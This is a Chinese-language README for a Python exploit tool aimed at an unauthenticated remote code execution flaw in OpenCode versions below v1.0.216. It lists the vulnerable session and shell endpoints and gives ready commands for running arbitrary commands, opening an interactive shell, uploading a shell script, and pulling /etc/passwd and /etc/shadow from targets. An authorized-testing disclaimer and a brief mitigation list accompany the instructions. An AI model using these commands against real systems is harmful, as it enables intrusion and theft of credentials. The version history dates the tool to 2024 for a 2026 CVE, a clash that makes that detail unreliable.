CVE-2026-22812
概述
一个针对 OpenCode 远程代码执行漏洞的 Python 利用工具,该漏洞影响版本低于 v1.0.216 的 OpenCode。此工具提供多种攻击向量,包括命令执行、文件读写、文件上传/下载以及交互式 Shell。
免责声明
⚠️ 仅供授权测试使用 ⚠️
- 本工具仅用于合法的安全测试和授权的渗透测试
- 仅在您拥有或已获得明确测试许可的系统上使用
- 作者不对因滥用或使用本工具造成的任何损害负责
- 未经授权访问计算机系统是非法行为,将受到法律制裁
功能特性
- 漏洞检测:检查目标是否存在漏洞
- 命令执行:在目标上执行任意命令
- 文件操作:读取、写入、上传和下载文件
- 交互式 Shell:具有 Tab 补全功能的完整交互式 Shell
- 系统侦察:收集系统信息
- 代理支持:通过 HTTP 代理路由流量
- 统计跟踪:监控利用活动
安装
# 克隆仓库
git clone https://github.com/0xgh057r3c0n/CVE-2026-22812.git
cd CVE-2026-22812
# 安装依赖
pip install requests urllib3
# 可选:添加执行权限
chmod +x CVE-2026-22812.py
要求
- Python 3.6+
- requests 库
- urllib3 库
使用方法
python3 CVE-2026-22812.py -t http://target:port [选项]
基础示例
# 检查目标是否存在漏洞
python3 exploit.py -t http://10.0.0.1:4096 --check
# 交互式 Shell
python3 exploit.py -t http://10.0.0.1:4096 -i
# 执行单条命令
python3 exploit.py -t http://10.0.0.1:4096 -c "id"
# 读取文件
python3 exploit.py -t http://10.0.0.1:4096 -r /etc/passwd
# 上传文件
python3 exploit.py -t http://10.0.0.1:4096 --upload shell.sh /tmp/shell.sh
# 下载文件
python3 exploit.py -t http://10.0.0.1:4096 --download /etc/shadow shadow.txt
# 获取系统信息
python3 exploit.py -t http://10.0.0.1:4096 --info
# 使用代理(如 Burp Suite)
python3 exploit.py -t http://10.0.0.1:4096 -c "whoami" --proxy http://127.0.0.1:8080
交互式 Shell 命令
进入交互式 Shell(使用 -i 标志)后,您可以使用以下命令:
<command> 执行 Shell 命令
help 显示帮助菜单
exit 退出 Shell
session 显示会话 ID
stats 显示利用统计信息
read <file> 读取文件内容
download <remote> <local> 下载文件
upload <local> <remote> 上传文件
sysinfo 获取系统信息
漏洞详情
- CVE ID:CVE-2026-22812 / CVE-2026-22182
- 产品:OpenCode
- 受影响版本:< v1.0.216
- 漏洞类型:远程代码执行
- 攻击向量:网络
- 身份验证:不需要
技术细节
该漏洞存在于会话管理端点 (/session) 中,它允许未经身份验证的用户创建会话,并通过 /session/{id}/shell 端点执行任意命令。
被利用的端点:
POST /session- 创建会话POST /session/{id}/shell- 执行命令GET /file/content- 读取文件
缓解措施
- 将 OpenCode 升级至 ≥ v1.0.216 版本
- 实施适当的身份验证和授权机制
- 限制对 OpenCode 实例的网络访问
- 实施输入验证和清理
- 使用 Web 应用防火墙 (WAF)
代码结构
CVE-2026-22812.py
├── Colors 类 (ANSI 颜色代码)
├── print_banner() (显示横幅)
├── Exploit 类 (主要利用逻辑)
│ ├── __init__() (初始化)
│ ├── check_vuln() (漏洞检查)
│ ├── create_session() (创建会话)
│ ├── exec_cmd() (执行命令)
│ ├── read_file() (读取文件)
│ ├── write_file() (写入文件)
│ ├── upload() (上传文件)
│ ├── download() (下载文件)
│ ├── get_info() (系统信息)
│ ├── shell() (交互式 Shell)
│ └── 辅助方法
└── main() (参数解析)
许可证
本工具仅用于教育目的。使用风险自负。
作者
- GitHub: 0xgh057r3c0n
- 工具: CVE-2026-22812 利用工具
贡献
- Fork 仓库
- 创建一个功能分支
- 提交您的更改
- 推送到分支
- 创建拉取请求
致谢
- 发现此漏洞的安全研究员
- 开源社区
- 所有贡献者和测试者
参考
- OpenCode 安全公告
- CVE 数据库
- NVD 条目
支持
如有问题,请:
- 尽可能包含目标 URL 和错误信息
版本历史
- v1.0.0 (2024-01-20): 初始发布
- 漏洞检测
- 命令执行
- 文件操作
- 交互式 Shell
- 代理支持 glyoVzOLZA9nMhz/bDHDAa5CjaE0K6O1LUE4aObG8oFSn7yikgwuegvRMFHBznq4